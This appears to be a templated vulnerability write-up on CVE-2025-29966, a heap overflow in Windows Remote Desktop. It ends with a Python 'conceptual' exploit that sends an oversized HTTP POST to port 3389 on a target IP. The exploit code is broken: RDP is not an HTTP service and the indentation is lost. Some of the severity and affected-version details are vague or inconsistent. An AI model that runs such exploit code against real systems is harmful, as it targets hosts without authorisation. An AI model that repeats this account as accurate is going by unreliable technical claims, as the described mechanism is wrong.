CVE-2025-29966: Windows Remote Desktop Heap-Based Buffer Overflow Vulnerability

Overview

CVE-2025-29966 is a critical vulnerability that affects the Windows Remote Desktop, a widely used feature that allows users to connect and control their systems remotely. This vulnerability, a heap-based buffer overflow, can potentially allow an unauthorized attacker to execute code over a network. It poses a significant threat as it can lead to system compromise or data leakage, jeopardizing the security and privacy of both individuals and organizations.
Buffer overflow vulnerabilities like CVE-2025-29966 are particularly concerning as they can potentially give attackers the ability to execute arbitrary code, providing them with a high level of control over the affected system. The widespread use of Windows Remote Desktop across various sectors, from businesses to government agencies, underscores the urgent need for effective countermeasures against this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-29966
Severity: Critical (8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Windows | All versions with Windows Remote Desktop enabled

How the Exploit Works

A heap-based buffer overflow occurs when a program writes more data into a buffer located on the heap than it can actually hold. In this case, an attacker can send specially crafted data to the Windows Remote Desktop service. If the data exceeds the buffer’s capacity, it will overflow, potentially allowing the attacker to overwrite other data structures in the heap memory.
This can lead to a variety of adverse effects such as data corruption, program crashes, or in more serious cases like CVE-2025-29966, arbitrary code execution. This means that an attacker could inject and execute their own malicious code on the targeted system, leading to system compromise or data leakage.

Conceptual Example Code

The following pseudo-code provides a conceptual example of how this vulnerability could be exploited:

import socket
def exploit(target_ip, port, malicious_payload):
# Create a new socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the target system
s.connect((target_ip, port))
# Craft a malicious request with the payload
request = f"POST /rdp HTTP/1.1\r\nHost: {target_ip}\r\nContent-Type: application/octet-stream\r\n\r\n{malicious_payload}"
# Send the malicious request
s.send(request.encode())
# Close the socket connection
s.close()
# Target IP address, port and the malicious payload
target_ip = "192.168.1.2"
port = 3389
malicious_payload = "A"*5000  # An example of a buffer overflow attack
# Call the exploit function
exploit(target_ip, port, malicious_payload)

In this example, the `exploit` function sends a malicious HTTP POST request to the Windows Remote Desktop service running on the target system. The payload, represented by a large string of ‘A’s, is designed to overflow the buffer, which could lead to arbitrary code execution.